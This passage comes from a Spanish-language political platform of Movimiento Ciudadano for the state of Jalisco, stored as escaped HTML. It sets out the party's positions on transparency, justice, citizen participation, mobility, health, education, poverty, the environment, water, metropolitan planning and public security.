pa\u00eds necesita di\u00e1logo, apertura y construcci\u00f3n de procesos de paz. El 2017 ha sido uno de los a\u00f1os m\u00e1s violentos en las \u00faltimas d\u00e9cadas. Las distintas formas de violencia que vivimos \u2013econ\u00f3mica, urbana, social, de g\u00e9nero, intrafamiliar- deben eliminarse.<\/li>\n<\/ol>\n<p>En Movimiento Ciudadano nos comprometemos a impulsar estas transformaciones desde tres espacios que son clave: el Gobierno de Jalisco, el Congreso del Estado y los Gobierno Municipales en las distintas regiones de nuestra entidad.<\/p>\n<p>\t\t\t\t\t\t\t\t\t\t\t\tII.\tGobiernos que dan resultados, que son transparentes y que construyen soluciones de la mano de la gente\t\t\t\t\t<\/p>\n<p>Gracias a administraciones p\u00fablicas opacas y corruptas, la mayor\u00eda de la gente considera que ser y hacer gobierno es sin\u00f3nimo de ineficacia y burocracia. Jalisco necesita un gobierno eficiente, transparente e innovador. Y ya hemos demostrado que eso es posible.<\/p>\n<p>A. Un gobierno eficiente sabe gestionar recursos p\u00fablicos, transparenta su uso, decide junto con la gente en qu\u00e9 gastarlos y aplicarlo de forma inteligente el dinero de nuestros impuestos. En la actual administraci\u00f3n del Gobierno de Guadalajara, el recurso para obra p\u00fablica que se ha ejercido, es un presupuesto hist\u00f3rico de cerca de 4 mil 200 millones de pesos. Nunca antes una administraci\u00f3n municipal hab\u00eda hecho algo que en apariencia es sencillo: ser gestor, ser buen ejecutor y entregar parques, espacios p\u00fablicos, mercados, centros comunitarios y unidades m\u00e9dicas equipadas, adem\u00e1s de calles renovadas en donde vive la gente, en tan poco tiempo.<\/p>\n<p>B. Hablar de transparencia y acceso a la informaci\u00f3n debe ir m\u00e1s all\u00e1 del discurso. Se necesita que entidades externas eval\u00faen y certifiquen si los gobiernos cumplen o no con esa responsabilidad. El ranking elaborado por Ciudadanos por Municipios Transparentes (CIMTRA) presentado este diciembre 2017 es contundente. De los 10 municipios mejor evaluados a nivel nacional, 8 son gobiernos de Movimiento Ciudadano en Jalisco. Y el primero lugar lo ocupan de manera compartida Guadalajara, San Pedro Tlaquepaque, Tlajomulco de Z\u00fa\u00f1iga y Zapopan.<\/p>\n<p>C. De la misma manera, la innovaci\u00f3n no debe ser vista como un eslogan de una administraci\u00f3n estatal. Innovar es cambiar la manera en la que las pol\u00edticas p\u00fablicas se dise\u00f1an, se ejecutan, se integran con la gente y se eval\u00faan. Innovar es hacer de las tecnolog\u00edas de la informaci\u00f3n y la comunicaci\u00f3n herramientas al servicio de la gente. Hoy en el municipio de Guadalajara tenemos ejemplos claros de esto: desde la implementaci\u00f3n de parqu\u00edmetros virtuales que hicieron que la gente encontrara d\u00f3nde estacionarse de manera \u00e1gil, r\u00e1pida y segura, hasta una aplicaci\u00f3n que permite presentar quejas y denuncias para conocer en tiempo real el seguimiento de problemas relacionados con luminarias, baches o recolecci\u00f3n de residuos.<\/p>\n<p>\t\t\t\t\t\t\t\t\t\t\t\tIII.\tLo p\u00fablico como respuesta a los grandes problemas sociales: Cultura de la legalidad, estado de derecho y combate a la impunidad\t\t\t\t\t<\/p>\n<p>El principal reclamo de la gente tiene que ver con acabar con la impunidad en las instituciones p\u00fablicas. Hoy, nadie conf\u00eda ni en la impartici\u00f3n de justicia ni en que se castigar\u00e1 con todo el peso de la ley, cualquier acto de corrupci\u00f3n. Necesitamos refundar a nuestras instituciones. Necesitamos volver a creer en lo p\u00fablico como la soluci\u00f3n a los problemas que nos preocupan a todos.<\/p>\n<p>El Estado de Derecho tendr\u00eda que representar el escenario b\u00e1sico e indispensable en todas las acciones necesarias para lograr un desarrollo pleno y sostenido en Jalisco. Sin embargo, la impartici\u00f3n de la justicia presenta altos niveles de impunidad, un fuerte atraso en la adaptaci\u00f3n al nuevo Sistema de Justicia Penal, la incapacidad investigativa y administrativa de la Fiscal\u00eda y los cotidianos actos de corrupci\u00f3n, provocan que el acceso y aplicaci\u00f3n de la justicia en el Estado sea un proceso caro, ineficiente y opaco.<\/p>\n<ol>\n<li>La ausencia de garant\u00edas en el proceso de administrar la justicia afecta negativamente en todos los niveles de la cotidianeidad de los ciudadanos. No existen indicadores que permitan saber el impacto del desempe\u00f1o del poder Judicial, por lo tanto, no se conoce el nivel de legalidad en la que se desarrollan los Jaliscienses.<\/li>\n<li>Se debe de fortalecer el Estado de Derecho a trav\u00e9s de un sistema judicial equitativo, transparente y eficiente que ofrezca certidumbre en todas las \u00e1reas de una sociedad. Para esto se necesitan acciones como: \u00a0actualizar las leyes generales y reglamentarias para establecer un orden jur\u00eddico congruente, arm\u00f3nico y complementario; delimitar y diferenciar entre la operaci\u00f3n e impartici\u00f3n de justicia; ciudadanizar y transparentar la administraci\u00f3n de la justicia al fortalecer los consejos ciudadanos; mejorar la capacidad de respuesta de los servidores p\u00fablicos para aumentar la eficiencia de los juzgados y \u00a0generar un sistema de indicadores que otorgue evidencias sobre el desempe\u00f1o de la operaci\u00f3n del sistema judicial. \u00a0En el congreso del estado se debe abrir un dialogo con la sociedad (universidades, activistas, victimas) para mejorar las leyes.<\/li>\n<li>Es por eso que se necesitan crear plataformas que re\u00fanan la informaci\u00f3n de los distintos procesos judiciales con la finalidad de reducir pr\u00e1cticas de corrupci\u00f3n y aumentar la transparencia en el seguimiento de cada caso; fortalecer la selecci\u00f3n de perfiles independientes y libres de quienes imparten la justicia y promover la persecuci\u00f3n penal estrat\u00e9gica para elaborar planes sectoriales y tem\u00e1ticos de persecuci\u00f3n penal, as\u00ed como mejorar las investigaciones. El objetivo principal es que la cultura de la legalidad siente las bases para la conformaci\u00f3n de un Estado que brinde igualdad de oportunidades para todos los Jaliscienses.<\/li>\n<\/ol>\n<p>\t\t\t\t\t\t\t\t\t\t\t\tIV.\tLas personas como centro de las decisiones\t\t\t\t\t<\/p>\n<p>El camino para que las personas est\u00e9n en el centro de las decisiones de inter\u00e9s p\u00fablico es a trav\u00e9s de la gobernanza y la participaci\u00f3n ciudadana efectiva. Este es un valor fundamental para la vida democr\u00e1tica de cualquier comunidad. M\u00e1s grande es la responsabilidad cuando hablamos de un gobierno a nivel estatal.<\/p>\n<p> Durante muchos a\u00f1os, la participaci\u00f3n ciudadana ha quedado en el papel. Administraciones de todos los colores pol\u00edticos han asumido en el discurso que la gente \u201cparticipe\u201d y en la pr\u00e1ctica, la han dejado fuera de la toma de decisiones.<\/p>\n<p>Jalisco demanda un gobierno que rinda cuentas y tienda puentes con la ciudadan\u00eda. Que verdaderamente garantice el uso los mecanismos de democracia directa y construya relaciones de corresponsabilidad. Fortalecer y dinamizar las buenas pr\u00e1cticas de participaci\u00f3n ciudadana, como la ratificaci\u00f3n de mandato y el presupuesto participativo. Utilizar las herramientas tecnol\u00f3gicas que permitan ampliar la participaci\u00f3n en todas las regiones del estado.<\/p>\n<p> Durante el 2017, nuestros gobiernos se sometieron a un verdadero ejercicio democr\u00e1tico para poner a las personas en el centro de las decisiones: nos sometimos a la ratificaci\u00f3n de mandato. Ya lo hab\u00edamos hecho en el 2011 y fuimos el primer gobierno municipal en hacerlo, en Tlajomulco de Z\u00fa\u00f1iga. La gente tuvo la posibilidad de decidir si quienes gobiernan deb\u00edan o no continuar. La evaluaci\u00f3n m\u00e1s importante es de quienes nos han dado su confianza para ser gobierno. Hoy podemos decir que, en algunos municipios del estado, la gente manda. Sin embargo, es penoso ver que esto no es posible en todo Jalisco, y \u00e9se es el reto a superar.<\/p>\n<p>\t\t\t\t\t\t\t\t\t\t\t\tV.\tUna visi\u00f3n incluyente, sustentable y regional del desarrollo para resolver los problemas cotidianos de las personas\t\t\t\t\t<\/p>\n<p>La planeaci\u00f3n, pero sobre todo la gesti\u00f3n del desarrollo con un enfoque de sustentabilidad, dimensi\u00f3n regional y que integre distintas pol\u00edticas, proyectos y programas no es una tarea menor. Esta agenda de gobierno debe ser transversal e incluir temas como el campo, la salud, la educaci\u00f3n, la cultura, el territorio y la sustentabilidad, los proyectos estrat\u00e9gicos en materia econ\u00f3mica, el empleo, la igualdad sustantiva, el deporte, la ciencia y la tecnolog\u00eda, las estrategias de superaci\u00f3n de la pobreza, la infraestructura, la movilidad y el transporte p\u00fablico, as\u00ed como temas transversales como la defensa y protecci\u00f3n de los derechos humanos, la igualdad sustantiva y las acciones para atender el fen\u00f3meno de la migraci\u00f3n y las comunidades de jaliscienses en el exterior.<\/p>\n<ul>\n<li><em>Movilidad<\/em><em>.<\/em><\/li>\n<\/ul>\n<p>El sistema de transporte p\u00fablico contin\u00faa sin ofrecer el servicio que merecen los ciudadanos. De seguir con este modelo, disminuir\u00e1n los usuarios de esta opci\u00f3n de transporte y se sumar\u00e1n a las v\u00edas m\u00e1s veh\u00edculos particulares que terminar\u00e1n por colapsar el sistema vial existentes, con lo cual se incrementar\u00e1n los costos de las familias de Jalisco para trasladarse de un lugar a otro. De tal forma, es necesario optimizar el servicio de transporte p\u00fablico en las \u00e1reas urbanas, modernizando el sistema y estableciendo criterios que ofrezcan un servicio accesible y de calidad.<\/p>\n<p>Al a\u00f1o en Jalisco mueren alrededor de 1,250 personas a causa de accidentes de tr\u00e1fico; y a la inseguridad en las v\u00edas se suma un clima de hostilidad entre los diferentes usuarios de los modos de transporte que ir\u00e1 increment\u00e1ndose si no se trabaja de manera transversal en pol\u00edticas que vayan encaminadas a mejorar la cultura vial de todos, al respeto de los reglamentos y a la disminuci\u00f3n de los factores de riesgos. Una de las eternas excusas es que no hay dinero para lograrlo, pero etiquetando lo que se recauda a trav\u00e9s de las infracciones viales se podr\u00eda ejecutar proyectos que mejoren las condiciones de movilidad.<\/p>\n<ul>\n<li><em>\u00a0<\/em><em>Infraestructura<\/em><em>.<\/em><\/li>\n<\/ul>\n<p>Jalisco tiene un rezago en el mantenimiento de sus carreteras que se suma a la mala conectividad de 9 de las 12 regiones del estado por la falta de peque\u00f1os tramos de v\u00edas o caminos. No atender esta situaci\u00f3n propiciar\u00eda que la mayor cantidad de las carreteras estatales pasen de un promedio de calidad regular a uno malo, generando condiciones de inseguridad y falta de accesibilidad en las diferentes regiones. Es importante asignar los recursos necesarios y hacer una programaci\u00f3n de obras que no s\u00f3lo busque construir las v\u00edas que hacen falta, sino que priorice el mantenimiento de las ya existentes.<\/p>\n<p>Las asignaciones de obra p\u00fablica, la determinaci\u00f3n de los presupuestos, la supervisi\u00f3n y la calidad de las mismas, han estados se\u00f1aladas hist\u00f3ricamente como ejemplos de malas pr\u00e1cticas y corrupci\u00f3n. Se requieren mejoras regulatorias que permitan que el desarrollo de infraestructura sea transparente y apegado a derecho.<\/p>\n<p>Los municipios de las distintas regiones de Jalisco no cuentan con las capacidades administrativas y operativas para hacerse cargo del abastecimiento, descargas y tratamiento de sus aguas, lo que ha propiciado una carga econ\u00f3mica importante para estos, y que en muchos casos la infraestructura no sea asumida por los ayuntamientos y en otros, la misma quede abandonada a los pocos meses de su construcci\u00f3n e instalaci\u00f3n. Es por ello que es necesario fortalecer las capacidades t\u00e9cnicas y administrativas de los municipios en esta materia para que se pueda dar la operaci\u00f3n adecuado para el suministro y tratamiento del agua.<\/p>\n<ul>\n<li><em>Salud<\/em><em>.<\/em><\/li>\n<\/ul>\n<p>El acceso a la salud en el Estado tiene que superar el mal diagn\u00f3stico que las instituciones han generado sobre la realidad de los Jaliscienses. Se tiene que entender que la poblaci\u00f3n est\u00e1 envejeciendo mientras siguen present\u00e1ndose altas tasas de natalidad. No se han superado enfermedades relacionadas a los bajos niveles de desarrollo. No se consideran alertas sanitarias sobre las principales enfermedades no contagiosas que aquejan a los ciudadanos como lo son la obesidad y la diabetes. Y la m\u00e1s importante: el acceso a los servicios de salud sigue estando fuertemente relacionado con la situaci\u00f3n laboral de las personas.<\/p>\n<p>Estas son las principales acciones que el \u00a0sistema estatal \u00a0de salud \u00a0necesita: articular los servicios y los recursos de salud teniendo claro de qu\u00e9 se enferman, por qu\u00e9 se hospitalizan o cu\u00e1les son las principales causas de mortandad de los ciudadanos de Jalisco; generar programas integrales, articulados con otras agendas de desarrollo como la salud de la Mujer, obesidad y diabetes. Priorizar los recursos para los niveles de prevenci\u00f3n desde el trabajo comunitario y la atenci\u00f3n de primer nivel. Para garantizar la mejor atenci\u00f3n m\u00e9dica es necesario tener claro las funciones rectoras de la pol\u00edtica p\u00fablica de Salud separadas de cualquier tipo de funciones operativas.<\/p>\n<ul>\n<li><em>Educaci\u00f3n<\/em><em>.<\/em><\/li>\n<\/ul>\n<p>Jalisco se encuentra por debajo de la media nacional en la mayor\u00eda de los indicadores sobre educaci\u00f3n. Estos resultados son la consecuencia de un sistema que ejerce la asignaci\u00f3n de recursos sin criterios pertinentes tanto a su poblaci\u00f3n objetivo como a la base laboral. La infraestructura educativa, adem\u00e1s de sobrepasar la vida \u00fatil de la mayor\u00eda de sus edificios, ya no obedece a la din\u00e1mica de movilidad de la sociedad, provocando que m\u00e1s del 62% de los alumnos est\u00e9n inscritos al 33% de los planteles en el Estado. Esta mala distribuci\u00f3n propicia din\u00e1micas en las cuales los alumnos reciben una inadecuada atenci\u00f3n docente ya que los maestros no cuentan con un l\u00edmite de alumnos, lo que tambi\u00e9n provoca una fuerte carga administrativa. Existe una profunda diferencia entre las necesidades que debe satisfacer la escuela y las capacidades que la instituci\u00f3n ofrece.<\/p>\n<p>Es vital que Jalisco marque su propia ruta de desarrollo del sistema educativo. Se tiene que repensar la funci\u00f3n de la educaci\u00f3n, de la escuela y de la generaci\u00f3n de conocimiento como punto central del desarrollo, es importante fortalecer el vocacionamiento de la Escuela ante las necesidades espec\u00edficas de su comunidad, para una formaci\u00f3n enfocada a la generaci\u00f3n de bienestar y desarrollo econ\u00f3mico de las sociedades y de los individuos; acompa\u00f1ar y dignificar la labor del magisterio; involucrar a los padres de familia como actores principales del proceso educativo. Se tiene que plantear un proyecto a largo plazo que tenga bases en las necesidades de cada regi\u00f3n, que se apoye en la tecnolog\u00eda y centre todas las acciones en el alumno para su formaci\u00f3n en todos los \u00e1mbitos de la vida.<\/p>\n<ul>\n<li><em>Campo<\/em><\/li>\n<\/ul>\n<p>La complejidad de los problemas en el sector rural exige romper el paradigma de atenci\u00f3n que la administraci\u00f3n p\u00fablica ha construido a lo largo de los \u00faltimos 5 administraciones. Las autoridades estatales, hasta ahora, se han concentrado en dirigir los apoyos principalmente a la comercializaci\u00f3n en lugar de la producci\u00f3n, obedeciendo a intereses particulares.<\/p>\n<p>No se tiene vinculaci\u00f3n entre las agendas legislativas y ejecutivas, por lo que los programas de este sector tienen una visi\u00f3n corta y desarticulada. Se trata de la misma forma a los grandes productores que a los peque\u00f1os campesinos, reduciendo la productividad de los distintos tipos de productores. Jalisco carece de acciones por tipo de producci\u00f3n y por producto. Adem\u00e1s, se sigue aislando la agenda de seguridad alimentaria y desarrollo con la capacidad productiva del sector rural.<\/p>\n<p>El campo en Jalisco tiene que recuperar el liderazgo nacional y, sobre todo, dimensionarse como una agenda prioritaria y esencial para el desarrollo territorial y de la ciudadan\u00eda. Por lo anterior es necesario fortalecer a la gesti\u00f3n p\u00fablica que permita obtener y distribuir los apoyos del campo de manera transparente y equitativa; promover normatividad estatal que permita generar programas a largo plazo y que \u00e9stos se definan bajo los requerimientos y necesidades espec\u00edficas de la producci\u00f3n y comercializaci\u00f3n por tipo de producto y el tama\u00f1o del productor; establecer lineamientos y centros de articulaci\u00f3n regionales y\/o por Sistema-Producto, vinculando la producci\u00f3n local con el mercado local; establecer consejos productivos que permitan, entre otras cosas, asegurar el aprovechamiento sustentable de los recursos y la sanidad alimentaria. Fomentar y proteger las peque\u00f1as unidades de producci\u00f3n rural para el fortalecimiento de las bases de las Micro, Peque\u00f1as y Medianas Empresas (MIPyMEs).<\/p>\n<ul>\n<li><em>\u00a0<\/em><em>Pobreza<\/em> <em>y<\/em> <em>desigualdad<\/em><\/li>\n<\/ul>\n<p>La pobreza en el estado tiene n\u00fameros preocupantes. Si bien en los \u00faltimos a\u00f1os el porcentaje de poblaci\u00f3n en situaci\u00f3n de pobreza ha disminuido de una manera unidimensional a un 32%, este indicador no nos permite tener un panorama m\u00e1s amplio de la realidad que viven los jaliscienses. Cuando vemos la pobreza desde una perspectiva multidimensional, el porcentaje sube a un 64.4% de la poblaci\u00f3n que tiene al menos una carencia social. La volatilidad de los precios de la canasta b\u00e1sica incrementa la vulnerabilidad de la poblaci\u00f3n y la pol\u00edtica social que se ha implementado en los \u00faltimos a\u00f1os no ha dado los resultados deseados, ya que ha fallado en brindar de una manera universal los servicios b\u00e1sicos que requieren las personas para un \u00f3ptimo desarrollo.<\/p>\n<p>El enfoque de la pol\u00edtica social debe replantearse. Es importante dar un giro de una pol\u00edtica asistencialista a una pol\u00edtica social que genere bienestar y riqueza. El 39.6% de los jaliscienses tienen un ingreso menor a la l\u00ednea de bienestar, esto es, m\u00e1s de 3 millones de personas. Y los empleos de baja remuneraci\u00f3n son el tipo de empleo que ha incrementado de manera significativa en los \u00faltimos a\u00f1os. Se ha dejado completamente de lado la relaci\u00f3n que existe entre la pol\u00edtica econ\u00f3mica y la de desarrollo social. Es momento de generar una pol\u00edtica integral de desarrollo para lograr resultados m\u00e1s concretos y con una estrategia muy particular para cada regi\u00f3n del estado. Se deben desarticular los mecanismos ya muy arraigados que reproducen las desigualdades en la sociedad, mecanismos que no permiten que la poblaci\u00f3n m\u00e1s vulnerable pueda cambiar su situaci\u00f3n hacia la autosuficiencia y una vida digna. \u00a0<\/p>\n<ul>\n<li><em>\u00a0<\/em><em>Desarrollo y proyectos econ\u00f3micos estrat\u00e9gicos.<\/em><\/li>\n<\/ul>\n<p>Uno de los principales inhibidores de la actividad econ\u00f3mica desde la percepci\u00f3n de las empresas, es la corrupci\u00f3n. Si bien el tema de la corrupci\u00f3n est\u00e1 tratado ya de manera directa en otros ejes de esta plataforma, es muy relevante hacer \u00e9nfasis en este tema ya que para que se genere un desarrollo econ\u00f3mico sostenido, es importante que tanto la empresa peque\u00f1a como las grandes empresas encuentren un campo libre de burocracia, sobreregulaci\u00f3n y principalmente libre de corrupci\u00f3n a la hora de establecerse y hacer negocios. El lugar que ocupa el estado en varios \u00edndices tanto nacionales como internacionales que miden la competitividad econ\u00f3mica, no concuerda con el lugar que ocupa el estado en cuanto a la aportaci\u00f3n al PIB nacional. Las actividades de las instituciones de fomento al desarrollo econ\u00f3mico desde sus distintas aristas tienen un traslape importante, as\u00ed como aquellas que promueven la ciencia y tecnolog\u00eda. Por otro lado, el financiamiento al sector productivo es limitado en su alcance, las instituciones que hacen esta labor desde el estado se ha quedado cortas tanto en eficiencia, en cobertura, como en la generaci\u00f3n de instrumentos financieros realmente alineados a las necesidades de las empresas. Por lo que una reestructuraci\u00f3n de dichas instituciones es urgente.<\/p>\n<p>Es prioritario contar con un diagn\u00f3stico de vocacionamiento y potenciales productivos de los municipios y regiones del estado, ya que las estrategias de fortalecimiento al sector privado deben estar alineadas tanto al vocacionamiento actual, como a las oportunidades potenciales de cada regi\u00f3n. Se deben atender las \u00e1reas de oportunidad dentro de la capacitaci\u00f3n y educaci\u00f3n al sector productivo, tanto a empresarios peque\u00f1os y medianos, como a los trabajadores y a los emprendedores. En este \u00faltimo, es importante fortalecer el ecosistema emprendedor, y eliminar las acciones que se han generado en los \u00faltimos a\u00f1os que solo entorpecen el correcto funcionamiento del mismo. Existe, adem\u00e1s, una creciente necesidad de incrementar el n\u00famero de escuelas de tiempo completo que permita la adecuada integraci\u00f3n de las personas al mercado laboral, sin limitar este acceso a aquellos responsables del cuidado de los hijos, siendo \u00e9stas en su gran mayor\u00eda las mujeres. \u00a0<\/p>\n<ul>\n<li><em>Territorio<\/em> <em>y<\/em> <em>Sustentabilidad<\/em><em>.<\/em><\/li>\n<\/ul>\n<p>La calidad del medio ambiente ha sido uno de los temas en los que Jalisco ha empeorado en los \u00faltimos 6 a\u00f1os. Nuestros r\u00edos y lagos altamente contaminados. El aire en el \u00c1rea Metropolitana de Guadalajara m\u00e1s sucio durante varios d\u00edas incluso que la Ciudad de M\u00e9xico. Nuestros bosques severamente amenazados por los incendios provocados, los cambios de uso de suelo y las presiones urbanas y agr\u00edcolas. El manejo de los residuos sin una pol\u00edtica que atienda integralmente el problema. Los ecosistemas estrat\u00e9gicos del estado sin recursos suficientes para una gesti\u00f3n adecuada.<\/p>\n<p>La sustentabilidad ambiental debe ser el eje articulador del desarrollo. El papel del gobierno estatal debe ser claro y contundente: cumplir con el mandato constitucional al que cualquier persona tiene derecho que es vivir en un medio ambiente sano.<\/p>\n<ul>\n<li><em>Ciencia<\/em> <em>y<\/em> <em>tecnolog\u00eda<\/em><\/li>\n<\/ul>\n<p>Pese a que Jalisco cuenta con una importante cantidad de Instituciones de investigaci\u00f3n y educaci\u00f3n superior, las pol\u00edticas para el desarrollo y fomento de la ciencia y la tecnolog\u00eda han sido insuficientes. Institucional y presupuestalmente.<\/p>\n<p>El potencial de desarrollo cient\u00edfico y tecnol\u00f3gico debe ser aprovechado. Pero sobre todo, facilitar condiciones para que las universidades p\u00fablicas y privadas, la empresa y el gobierno puedan generar verdaderas articulaciones que potencien la econom\u00eda, la investigaci\u00f3n y la innovaci\u00f3n.<\/p>\n<ul>\n<li><em>\u00a0<\/em><em>Cultura<\/em><\/li>\n<\/ul>\n<p>La Pol\u00edticas P\u00fablicas de Cultura no est\u00e1n vinculadas a un proyecto transversal, no se ha entendido la importancia de la Cultura en el Estado, no es asumida como cabeza de sector y no se aprovecha el peso cultural que tiene Jalisco. \u00a0La desarticulaci\u00f3n entre los apoyos a los artistas y la producci\u00f3n cultural es evidencia de estructuras arcaicas de gesti\u00f3n.<\/p>\n<p>Jalisco necesita una administraci\u00f3n p\u00fablica de la Cultura que facilite la realizaci\u00f3n de proyectos al brindar marcos jur\u00eddicos y administrativos que contemplen las necesidades de los creadores y de sus procesos creativos, tambi\u00e9n es importante conocer c\u00f3mo est\u00e1n compuestos los p\u00fablicos para establecer planes estrat\u00e9gicos de acuerdo a los perfiles \u00a0de consumo cultural que requiera la ciudadan\u00eda, con la \u00a0finalidad de incrementar la generaci\u00f3n de riqueza desde lo cultural. Aumentar la infraestructura Cultural a la par de las capacidades de gesti\u00f3n de todos los involucrados.<\/p>\n<ul>\n<li><em>\u00a0<\/em><em>Fomento<\/em> <em>al<\/em> <em>deporte<\/em><em>.<\/em><\/li>\n<\/ul>\n<p>Jalisco debe consolidarse como potencia deportiva. Tanto en pol\u00edticas enfocadas para impulsar la cultura del deporte como una estrategia que permita salir del lugar 29 a nivel nacional de los estados que han logrado abatir la obesidad y el sobrepeso, como en mantener el liderazgo que nuestros atletas han tenido en las olimpiadas nacionales (infantil y juvenil). Sin dejar de mencionar el aprovechamiento y ampliaci\u00f3n de la infraestructura deportiva en las distintas regiones del estado.<\/p>\n<ul>\n<li><em>Igualdad<\/em> <em>sustantiva<\/em><\/li>\n<\/ul>\n<p>Los derechos humanos, la equidad de g\u00e9nero, la atenci\u00f3n a migrantes, el apoyo a las y los j\u00f3venes, la protecci\u00f3n y atenci\u00f3n de ni\u00f1as y ni\u00f1os, adultos mayores y de las distintas comunidades de personas con discapacidad es sin duda la gran deuda social que tiene nuestro estado.<\/p>\n<p>La igualdad sustantiva para la inclusi\u00f3n social debe ser una pol\u00edtica transversal. Necesitamos superar la visi\u00f3n asistencialista con la que se han operado programas y pol\u00edticas desde las dependencias encargadas de las pol\u00edticas sociales, para aumentar el acceso a las oportunidades de quienes viven alguna condici\u00f3n de vulnerabilidad.<\/p>\n<ul>\n<li><em>Las<\/em> <em>comunidades<\/em> <em>jaliscienses<\/em> <em>en<\/em> <em>el<\/em> <em>exterior<\/em><em>. <\/em><\/li>\n<\/ul>\n<p>Somos una entidad que durante las \u00faltimas tres d\u00e9cadas ha experimentado la partida de hombres y mujeres que no han encontrado oportunidades econ\u00f3micas para mejorar sus condiciones de vida y han tomado la dif\u00edcil decisi\u00f3n de irse de sus lugares de origen. El arraigo a nuestra tierra sigue siendo muy fuerte y dentro de la situaci\u00f3n compleja de tener familia lejos, estas comunidades son activas y se vuelve necesario atenderlas para ayudar a su organizaci\u00f3n e integraci\u00f3n.<\/p>\n<p> Las y los jaliscienses en el exterior est\u00e1n mayoritariamente en Estados Unidos, en sitios como California e Illinois. Les debemos mucho, tambi\u00e9n como pa\u00eds, ya que, gracias a su esfuerzo, llegan remesas que contribuyen a ayudar a sus familias y varias de nuestras localidades. Hoy, ante los discursos que incitan al odio por ser de origen latino, los gobiernos locales tienen la obligaci\u00f3n de dise\u00f1ar pol\u00edticas en varios niveles: para fomentar los v\u00ednculos con su tierra; para recibirles e integrarles si vuelven temporal o permanentemente, pero sobre todo, para que sepan que Jalisco les apoya y les acoge en estos tiempos dif\u00edciles.<\/p>\n<ul>\n<li><em> Nueva cultura y gesti\u00f3n del Agua.<\/em><\/li>\n<\/ul>\n<p>Los recursos h\u00eddricos de Jalisco, su manejo correcto, su saneamiento y el aprovechamiento racional son uno de los temas m\u00e1s rezagados. Hay un ausencia total de una visi\u00f3n integral en el manejo del agua. Se vuelve necesario promover una nueva cultura y gesti\u00f3n del vital l\u00edquido para garantizar la sustentabilidad de la vida, la rehabilitaci\u00f3n del ciclo del agua, las actividades productivas y las labores cotidianas de los habitantes en los entornos urbanos.<\/p>\n<ul>\n<li><em>La diversidad cultural y \u00e9tnica de nuestro estado. <\/em><\/li>\n<\/ul>\n<p>Jalisco debe reconocerse como una entidad diversa cultura y \u00e9tnicamente. Tenemos una deuda hist\u00f3rica con las comunidades ind\u00edgenas del estado. A pesar de los esfuerzos por impulsar una reforma constitucional que impulsamos en el Congreso del Estado y que contribuyera a la integraci\u00f3n y reconocimiento de los pueblos que habitan en Jalisco, vemos que aun existen resistencias para que la igualdad y el reconocimiento de las y los ind\u00edgenas sean una realidad. Nuestra agenda seguir\u00e1 en la ruta legislativa y pondr\u00e1 los mecanismos para que desde el Gobierno de Jalisco y los municipios no sea una agenda vac\u00eda sino pol\u00edticas, programas y presupuestos reales.<\/p>\n<p><em>\u00a0<\/em><\/p>\n<p><em>\u00a0<\/em><\/p>\n<p>\t\t\t\t\t\t\t\t\t\t\t\tVI.\tUna verdadera gesti\u00f3n de las ciudades medias de Jalisco y del desarrollo metropolitano\t\t\t\t\t<\/p>\n<p>No existe una pol\u00edtica p\u00fablica clara para la gesti\u00f3n de las ciudades que son cabeza de las distintas regiones de Jalisco. M\u00e1s del 60% de la poblaci\u00f3n del estado vive en el \u00c1rea Metropolitana de Guadalajara (AMG). Durante d\u00e9cadas, estuvimos sin una herramienta de planeaci\u00f3n urbana y territorial que definiera el rumbo de nuestra metr\u00f3poli. No fue sino hasta el a\u00f1o 2015, con la llegada de los gobiernos de movimiento ciudadano en 6 de los 9 municipios del AMG, que impulsamos la elaboraci\u00f3n del Programa de Ordenamiento Territorial Metropolitano. El primero desde 1982.<\/p>\n<p>Los entornos urbanos y metropolitanos de Jalisco se enfrentan a problemas complejos que combinan la pobreza y desigualdad territorial, la necesidad de dinamizar el Vocacionamiento econ\u00f3mico y la generaci\u00f3n de empleos, con las amenazas del cambio clim\u00e1tico y la vulnerabilidad ambiental. Aun no conseguimos integrar nuevas herramientas como la resiliencia y la sustentabilidad urbanas.<\/p>\n<p>Si bien hay avances importantes con la creaci\u00f3n del Instituto Metropolitano de Planeaci\u00f3n (IMEPLAN), a\u00fan hace falta mayor voluntad pol\u00edtica para construir verdaderas estrategias de gesti\u00f3n del desarrollo de la principal metr\u00f3poli del estado, pero tambi\u00e9n de otros entornos metropolitanos encabezado por ciudades como Ocotl\u00e1n, Puerto Vallarta, Zapotl\u00e1n el Grande y Tepatitl\u00e1n. Y m\u00e1s cr\u00edtico se vuelve ante la falta de pol\u00edticas y programas que promuevan un modelo de ciudades compactas en municipios como Autl\u00e1n, Colotl\u00e1n, Ameca, Lagos de Moreno, San Juan de los Lagos, Arandas, Chapala o Cihuatl\u00e1n.\u00a0<\/p>\n<p>Jalisco necesita una pol\u00edtica de gesti\u00f3n de las ciudades, que contribuya a potenciar al m\u00e1ximo su desarrollo, pero tambi\u00e9n que ayude a un crecimiento controlado y que ofrezca soluciones en temas como el agua, el manejo de los residuos, la movilidad, los espacios p\u00fablicos y las \u00e1reas verdes, la vivienda y el desarrollo urbano.<\/p>\n<p>\t\t\t\t\t\t\t\t\t\t\t\tVII.\tUn enfoque de seguridad para la protecci\u00f3n de todas las personas: Seguridad Ciudadana, Derechos Humanos y Procuraci\u00f3n de Justicia\t\t\t\t\t<\/p>\n<p>La inseguridad es una de las cosas que m\u00e1s nos preocupan a todos. Como ya hemos mencionado, el a\u00f1o 2017 ha sido uno de los m\u00e1s violentos en la historia reciente del pa\u00eds y de nuestro estado. Se trata de un problema que tiene sus ra\u00edces en la desigualdad, la falta de oportunidades, el debilitamiento de las instituciones de seguridad, la ausencia de estrategias y propuestas que atiendan de manera integral a la juventud y la infancia, pero sobre todo, la normalizaci\u00f3n de las distintas formas de violencia a las que estamos expuestos como sociedad.<\/p>\n<p>La inseguridad no es un problema que se resuelve solamente con m\u00e1s armas y patrullas. Y como problema p\u00fablico, debemos atender e intervenir desde las competencias que cada nivel de gobierno y poder p\u00fablico tienen. El mejor ejemplo de la ausencia total de estrategias, coordinaci\u00f3n y pol\u00edticas integrales en la materia lo vivimos al llegar a gobernar el municipio de Guadalajara. La corporaci\u00f3n estaba totalmente desmantelada. El esfuerzo se centr\u00f3 en reconstruir y fortalecer a la instituci\u00f3n. M\u00e1s polic\u00edas, m\u00e1s patrullas, mejor equipamiento, m\u00e1s capacitaci\u00f3n y sacar a los elementos que se hab\u00edan corrompido, as\u00ed como incentivar la participaci\u00f3n ciudadana y vecinal. Adicionalmente, crear nuevas instituciones a escala metropolitana para dise\u00f1ar y operar estrategias coordinadas de prevenci\u00f3n del delito y seguridad ciudadana.<\/p>\n<p>La estrategia comenz\u00f3 a dar 